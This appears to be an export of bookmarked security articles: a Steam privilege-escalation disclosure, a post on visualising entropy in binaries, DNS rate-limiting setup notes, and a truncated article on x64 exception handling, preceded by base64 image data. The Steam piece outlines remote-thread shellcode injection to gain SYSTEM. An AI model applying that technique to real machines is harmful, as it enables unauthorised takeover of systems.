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
image/png 742 146 https://github.com/gdelugre/ida-arm-system-
highlight/raw/master/img/scr\_decode\_bits.png scr\_decode\_bits.png false

# Steam Code Execution – Privilege Escalation to SYSTEM \(Part 2\) | codeinsecurity
**Created:**| _10/15/2013 12:04:04 PM_  
---|---  
**Updated:**| _10/15/2013 12:05:26 PM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis vulnerability_  
  

# **S** team Code Execution – Privilege Escalation to SYSTEM \(Part 2****\)

In my previous post I talked about a vulnerability in Steam which allows you
to bypass UAC**.** I’m going to be totally transparent here: I fucked up**.**
I wrote the draft post a few days back, then did some more work on the
vulnerability**.** I discovered something much more serious in the
process**.** I posted last night’s blog post at 1am, tired as hell, and in my
sleep-deprived state I completely neglected to update it properly, and there
are several mistakes and bits of missing information**.** The draft went out
and confused a lot of people**.** So, for that, I apologise. I’m going to
leave it there so people can see it, because it’ll remind me not to do that
next time**.**

Now, onto the real impact of the vulnerability: I can leverage it to gain code
execution as SYSTEM**.** How? Well, it turns out that `Steam.exe` gives itself
one unusual privilege – the privilege to debug other processes**.** This is
called `SeDebugPrivilege` and one of its features is that it allows the
process to bypass access control lists \(ACLs\) on processes when you call
`OpenProcess`, i.e. the process can open a handle to any process it likes,
with any privilege it likes**.**

Here’s how you can elevate to SYSTEM when you have `SeDebugPrivilege`:

  1. Open a handle to a process that is running as SYSTEM, with `PROCESS_ALL_ACCESS` as the access flag**.**
  2. Use `VirtualAllocEx` to allocate a block of memory in the remote process, with the executable flag set**.**
  3. Use `WriteProcessMemory` to copy a block of shellcode into that memory buffer**.**
  4. Use `CreateRemoteThread` to create a new thread in the remote process, whose start address is the base address of the memory allocation**.**
  5. Bingo\! You just got a privesc to SYSTEM**.**

In this case, once you’ve got code execution inside Steam, you can utilise
this trick to escalate yourself to SYSTEM**.** There’s your privesc vuln**.**

  

****

# cortesi - Visualizing entropy in binary files

**Created:**| _7/31/2014 10:23:30 AM_  
---|---  
**Updated:**| _7/31/2014 10:23:30 AM_  
**Author:**| __  
**Tags:**| _visualization binary_  
  

# Visualizing entropy in binary files

04 January 2012

Last week, I wrote about visualizing binary files using space-filling curves,
a technique I use when I need to get a quick overview of the broad structure
of a file. Today, I'll show you an elaboration of the same basic idea - still
based on space-filling curves, but this time using a colour function that
measures local entropy.

Before I get to the details, let's quickly talk about the motivation for a
visualization like this. We can think of entropy as the degree to which a
chunk of data is disordered. If we have a data set where all the elements have
the same value, the amount of disorder is nil, and the entropy is zero. If the
data set has the maximum amount of heterogeneity \(i.e. all possible symbols
are represented equally\), then we also have the maximum amount of disorder,
and thus the maximum amount of entropy. There are two common types of high-
entropy data that are of special interest to reverse engineers and penetration
testers. The first is compressed data - finding and extracting compressed
sections is a common task in many security audits. The second is cryptographic
material - which is obviously at the heart of most security work. Here, I'm
referring not only to key material and certificates, but also to hashes and
actual encrypted data. As I show below, a tool like the one I'm describing
today can be highly useful in spotting this type of information.

For this visualization, I use the Shannon entropy measure to calculate byte
entropy over a sliding window. This gives us a "local entropy" value for each
byte, even though the concept doesn't really apply to single symbols.

With that out of the way, let's look at some pretty pictures.

# Visualizing the OSX ksh binary

In my previous post, I used the ksh binary as a guinea pig, and I'll do the
same here. On the left is the entropy visualization with colours ranging from
black for zero entropy, through shades of blue as entropy increases, to hot
pink for maximum entropy. On the right is the Hilbert curve visualization from
the last post for comparison - see the post itself for an explanation of the
colour scheme. Click for larger versions with much more detail:

Entropy| Byte class  
---|---  
<img src='img/Temp2_10155.png' /> |  <img src='img/Temp2_10157.png' />  
Note that this is a dual-architecture Mach-O file, containing code for both
i386 and x86\_64. You can see this if you squint somewhat at these images -
some broad structures in the file are repeated twice. We can see that there
are a number of different sections of the **ksh** binary that have very high
entropy. It's not immediately obvious why a system binary would contain either
compressed sections or cryptographic material. As it happens, the explanation
in this case is quite interesting. Let's have a closer look:

<img src='img/Temp2_10156.png' />

Sections **1** and **2** are a lovely validation of the central idea of this
post. These two areas do indeed contain cryptographic material - in this case,
code signing hashes and certificates. Rather satisfyingly, they stand out like
a sore thumb. It turns out that all of the official OSX binaries are signed by
Apple. This is then used in turn to apply a variety of policies, depending on
who the signatory is, and whether they are trusted.

You can dump some rudimentary data about a binary's signature using the
**codesign** command \(which you can also use to sign binaries yourself\):

[code]

    > codesign -dvv /bin/ksh 
    Executable=/bin/ksh
    Identifier=com.apple.ksh
    Format=Mach-O universal (i386 x86_64)
    CodeDirectory v=20100 size=5662 flags=0x0(none) hashes=278+2 location=embedded
    Signature size=4064
    Authority=Software Signing
    Authority=Apple Code Signing Certification Authority
    Authority=Apple Root CA
    Info.plist=not bound
    Sealed Resources=none
    Internal requirements count=1 size=92
    
[/code]

Section **3** \(the two occurrences are the same data repeated for each
architecture\) is interesting for a different reason - it's a cautionary
example of how the simple entropy measure we're using sometimes detects high
entropy in highly structured data. A hex dump of the start of the region looks
like this:

[code]

    000d1f00  00 01 00 00 00 02 00 00  00 06 00 00 00 00 00 00  |................|
    000d1f10  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000d1f20  00 01 02 03 04 05 06 07  08 09 0a 0b 0c 0d 0e 0f  |................|
    000d1f30  10 11 12 13 14 15 16 17  18 19 1a 1b 1c 1d 1e 1f  |................|
    000d1f40  20 21 22 23 24 25 26 27  28 29 2a 2b 2c 2d 2e 2f  | !"#$%&'()*+,-./|
    000d1f50  30 31 32 33 34 35 36 37  38 39 3a 3b 3c 3d 3e 3f  |0123456789:;<=>?|
    000d1f60  40 41 42 43 44 45 46 47  48 49 4a 4b 4c 4d 4e 4f  |@ABCDEFGHIJKLMNO|
    000d1f70  50 51 52 53 54 55 56 57  58 59 5a 5b 5c 5d 5e 5f  |PQRSTUVWXYZ[\]^_|
    000d1f80  60 61 62 63 64 65 66 67  68 69 6a 6b 6c 6d 6e 6f  |`abcdefghijklmno|
    000d1f90  70 71 72 73 74 75 76 77  78 79 7a 7b 7c 7d 7e 7f  |pqrstuvwxyz{|}~.|
    000d1fa0  80 81 82 83 84 85 86 87  88 89 8a 8b 8c 8d 8e 8f  |................|
    000d1fb0  90 91 92 93 94 95 96 97  98 99 9a 9b 9c 9d 9e 9f  |................|
    000d1fc0  a0 a1 a2 a3 a4 a5 a6 a7  a8 a9 aa ab ac ad ae af  |................|
    000d1fd0  b0 b1 b2 b3 b4 b5 b6 b7  b8 b9 ba bb bc bd be bf  |................|
    000d1fe0  c0 c1 c2 c3 c4 c5 c6 c7  c8 c9 ca cb cc cd ce cf  |................|
    000d1ff0  d0 d1 d2 d3 d4 d5 d6 d7  d8 d9 da db dc dd de df  |................|
    000d2000  e0 e1 e2 e3 e4 e5 e6 e7  e8 e9 ea eb ec ed ee ef  |................|
    000d2010  f0 f1 f2 f3 f4 f5 f6 f7  f8 f9 fa fb fc fd fe ff  |................|
    
[/code]

We see that this section contains each byte value from 0x00 to 0xff in order -
furthermore this whole block is repeated with minor variations a number of
times. There are two things to explain here - why is this detected as "high
entropy" data, and what the heck is it doing in the file?

First, we need to understand that the Shannon entropy measure looks only at
the relative occurrence frequencies of individual symbols \(in this case,
bytes\). A chunk of data like the one above therefore looks like it has high
entropy, because each symbol occurs once and only once, making the data highly
heterogeneous.

Now, what earthly use would chunks of data like this be? With a bit of
digging, I found the answer in the **ksh** source code. These sections are
maps used for translation between various character encodings. If you're
interested, here's the culprit in all its repetitive glory.

# The code

As usual, the code for generating all of the images in this post is up on
GitHub. The entropy visualizations were created with binvis, a new addition to
scurve, my compendium of code related to space-filling curves.

# Response Rate Limiting in the Domain Name System \(DNS RRL\) | Red Barn
**Created:**| _2/18/2013 1:05:09 PM_  
---|---  
**Updated:**| _2/18/2013 1:05:09 PM_  
**Author:**| __  
**Tags:**| _DNS DoS_  
  

## Response Rate Limiting in the Domain Name System \(DNS RRL\)

This page describes DNS Response Rate Limiting \(DNS RRL\) which is an
experimental feature for domain name servers including NLNetLabs NSD and ISC
BIND9. These patches and instructions pertain to authority name servers or
authoritative views. Use of this kind of rate limiting for recursive or hybrid
servers or views is currently unspecified. **Note Well:** This is DNS RRL,
meant to be implemented in many different name servers, it is not a BIND
specific feature even though BIND was the first name server for which DNS RRL
was implemented. DNS RRL will eventually be submitted to the IETF for
standardization work. The need for DNS RRL is immediate and pressing, and the
IETF processing of this work was therefore planned to come last rather than
first. Files:

  * Implementation notes for NLNetLabs NSD, available as a standard NSD feature as of version 3.2.15, released 2013-02-04
  * Patch files for BIND9 \(updated 28-Jan-2013; also includes performance patches to the BIND9 Response Policy Zones \(DNS RPZ\) DNS Firewall feature\)
  * Technical note describing the implementation and operation of DNS Response Rate Limiting \(RRL\).
  * Draft text for BIND9 Administrators Reference Manual \(ARM\) describing DNS Response Rate Limiting \(RRL\).
  * ~~Microsoft Windows BIND9 executables,normal and debug versions.~~

Instructions for BIND9:

  * If you are not running Microsoft Windows on your name server: 
    * Download the appropriate patch file \(linked above\)
    * Download a clean copy of BIND9 and un-tar it
    * Run "patch -p0 -l" while standing in the BIND9 source pool
    * Build the patched BIND9
  * If you are running Microsoft Windows on your name server: 
    * Download one of the above-linked Microsoft Windows executables
  * Install the patched BIND9 server
  * Read the above-linked technical note and draft ARM text to familiarize yourself with the technology
  * Add something like this to your `options` block in your authoritative-only views:
[code]  
    rate-limit {
        responses-per-second 5;
        window 5;
    };
    
[/code]

  * Restart your name server and verify that it is operating normally
  * Test the rate limiting using a command similar to the one below: 
[code]     repeat 10 dig @server-ip-address +short +tries=1 +time=1 your-
zone.com a

[/code]

The result should be at least one timeout out of the ten successive answers.

Beyond that: Please consider joining the ratelimits mailing list in order to
join discussions about this technology. Especially interesting are stories of
what worked and what did not work. Credits: This work is a joint effort by
Vernon Schryver and Paul Vixie.  
---

# The NT Insider:Exceptional Behavior - x64 Structured Exception Handling

**Created:**| _11/27/2010 10:37:09 PM_  
---|---  
**Updated:**| _11/27/2010 10:37:35 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security Exploit x64_  
  
**Exceptional Behavior - x64 Structured Exception Handling**

The NT Insider, Vol 13, Issue 3, May - June 2006 | Published: 23-May-06| Modified: 23-May-06
  

If you've been working in kernel-mode on Windows for any significant amount of
time, you've almost certainly encountered Structured Exception Handling
\(SEH\). Basically, SEH is the standard kernel-mode exception handling
mechanism that's built into Windows. Because support within the O/S with no
way to access it doesn't make much sense, Microsoft compilers provide access
to the O/S's exception support via the **\_\_try** and **\_\_except**
keywords.

To make SEH work, cooperating support must be provided by the compiler,
hardware, and OS. Precisely _how_ SEH is implemented on a particular platform
can vary based on architecture. Information on how SEH is implemented on the
x86 is readily available. In fact, it's likely that you've stumbled upon a
variation of this construct at least once while stepping through assembly code
in the debugger:

push 0x17708  
push 0x173f4  
mov eax,fs:\[00000000\]  
push eax  
mov fs:\[00000000\],esp

Once you see a sequence like this, it's a clear tip-off that the function uses
SEH. It's also possible to use this information to locate all of the possible
exception handlers within the routine.

In debugging driver code on the x64, I noticed that I _never_ saw those
telltale sequences, I couldn't help wondering what was going on. How _does_
Windows implement exception handling on the x64?

**Huh?**  
If you're already confused, then this article might not be for you. To get up
to speed on how x86 exception handling is implemented, I recommend reading "A
Crash Course on the Depths of Win32 Structured Exception Handling" by Matt
Pietrek, which appeared in the January 1997 issue of the _Microsoft Systems
Journal_. While understanding how x86 exception handling is implemented isn't
absolutely necessary to understand this article, it provides a good starting
point to understand the differences between x86 exception handling and the x64
implementation.

**x64 - A Chance to Trim the Fat**  
Because on the x86 each function that uses SEH has this aforementioned
construct as part of its prolog, the x86 is said to use _frame based exception
handling_. There are a couple of problems with this approach:

  1. Because the exception information is stored on the stack, it is susceptible to buffer overflow attacks.
  2. Overhead. Exceptions are, well, exceptional, which means the exception will not occur in the common case. Regardless, every time a function is entered that uses SEH, these extra instructions are executed.

Because the x64 was a chance to do away with a lot of the cruft that had been
hanging around for decades, SEH got an overhaul that addressed both issues
mentioned above. On the x64, SEH has become _table-based_ , which means when
the source code is compiled, a table is created that fully describes all the
exception handling code within the module. This table is then stored as part
of the PE header. If an exception occurs, the exception table is parsed by
Windows to find the appropriate exception handler to execute. Because
exception handling information is tucked safely away in the PE header, it is
no longer susceptible to buffer overflow attacks. In addition, because the
exception table is generated as part of the compilation process, no runtime
overhead \(in the form of **push** and **pop** instructions\) is incurred
during normal processing.

Of course, table-based exception handling schemes have a couple of negative
aspects of their own. For example, table-based schemes tend to take more space
in memory than stack-based schemes. Also, while overhead in the normal
execution path is reduced, the overhead it takes to process an exception is
significantly higher than in frame-based approaches. Like everything in life,
there are trade-offs to consider when evaluating whether the table-based or a
frame-based approach to exception handling is "best."

**Seeing It for Yourself**  
So, how is table-based exception handling implemented on the x64? It just so
happens that all of the data structures and functions involved in SEH on the
x64 are documented as part of the SDK. Not uncharacteristically, the
documentation tends to be a bit terse, and at times it only provides structure
definitions. This article explores this information in a more practical
manner.

**Exception Directory and RUNTIME\_FUNCTIONs**  
Within a PE image there are various _directories_ that contain information
about the image. For example, if the image has any exports, there will be an
export directory that describes the exports. In the case of an x64 image,
there happens to be an _exception_ directory that contains a variable number
of **RUNTIME\_FUNCTION** structures, listed below:

  
typedef struct \_RUNTIME\_FUNCTION \{  
ULONG BeginAddress;  
ULONG EndAddress;  
ULONG UnwindData;  
\} RUNTIME\_FUNCTION, \*PRUNTIME\_FUNCTION;

Note the use of **ULONG** s for addresses even though we're talking about a
64-bit architecture. This is because the values contained in the structure are
offsets from the base of the image and not addresses or pointers. Now let's
describe each field in turn.

**_BeginAddress_** \- This value represents an offset into the image where
some bit of code of interest to SEH begins. This is an incredibly vague
description that will \(hopefully\) become clearer as we move along.

**_EndAddress_** \- This value represents an offset into the image where some
bit of code of interest to SEH ends. This is an incredibly vague description
that will \(hopefully\) become clearer as we move along.

**_UnwindData_** \- This value is an offset from the base of the image to an
